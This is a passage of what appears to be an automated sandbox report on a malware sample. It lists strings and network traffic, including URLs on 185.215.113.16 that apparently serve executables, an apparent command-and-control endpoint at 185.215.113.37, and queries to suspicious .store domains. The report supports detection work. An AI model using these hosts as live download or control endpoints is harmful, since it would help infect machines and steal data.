Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2891757977.000002EE5DD69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897777583.000002EE5E7DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2891757977.000002EE5DD69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2940240377.000003948B000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2897777583.000002EE5E77B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2900792770.000002EE5EA4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897777583.000002EE5E7FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 23 Oct 2024 15:51:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4wtM56eXhMnYrQd7s5tljjhyYDp59tlPY85378oXOnHnArHng0NRJiloGTAmd1Vug9g2vU9SP9bad1zMCYK4iBRPWD32hWnuT5htBlm6QdF6AHsxXMEflkSV8uEKSlh1ekTSSQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d72e304da976994-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 23 Oct 2024 15:52:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yUL4Ojqz%2Fc60G%2FUC0hA3zMPZlKxhSUu2KxH%2BOF1WCo1KkEwF4URwFnY1Pwd7M9ne4xeQAdHSU8BMV1hf2iX3svW4MbDOQ%2BwV70378tQoS505VXwP%2BoSIo43E8mhB7d1Lk8tuQA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d72e52c8fb5c871-DFW

Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C96B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2848249080.000002EE4C96B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2910556312.000002EE5F541000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, file.exe, 00000000.00000003.2358846258.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2358846258.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/O
Source: file.exe, 00000000.00000003.2358846258.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Y
Source: file.exe, file.exe, 00000000.00000003.2358846258.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2358846258.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/o=
Source: file.exe, 00000000.00000003.2358846258.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/p=
Source: file.exe	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2358846258.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeI
Source: file.exe, 00000000.00000003.2358846258.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/y=
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, 7d61336cf8.exe, 0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, 7d61336cf8.exe, 0000000A.00000002.2635976470.0000000001797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017BC000.00000004.00000020.00020000.00000000.sdmp, 7d61336cf8.exe, 0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp, 7d61336cf8.exe, 0000000A.00000002.2635976470.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php1G
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.0000000001797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpA
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpb
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.0000000001797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpd
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpft
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpg#
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpz
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php~
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, 7d61336cf8.exe, 0000000A.00000002.2635976470.0000000001797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: 7d61336cf8.exe, 0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37Wz
Source: ENORVNMU067PBMHUGECCERYC06W3ZY.exe, 00000004.00000002.2493072660.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37o#
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.inbox.lv/compose?to=%shttps://e.mail.ru
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000003.2792367692.000002EE5D97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C9B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64A6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2760500227.000002EE64A5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C4B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.2911859884.000002EE5FF8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2891757977.000002EE5DD69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2852111919.000002EE582F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2917093566.000002EE604D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2929744715.000002EE64D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2891757977.000002EE5DD26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2929744715.000002EE64D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
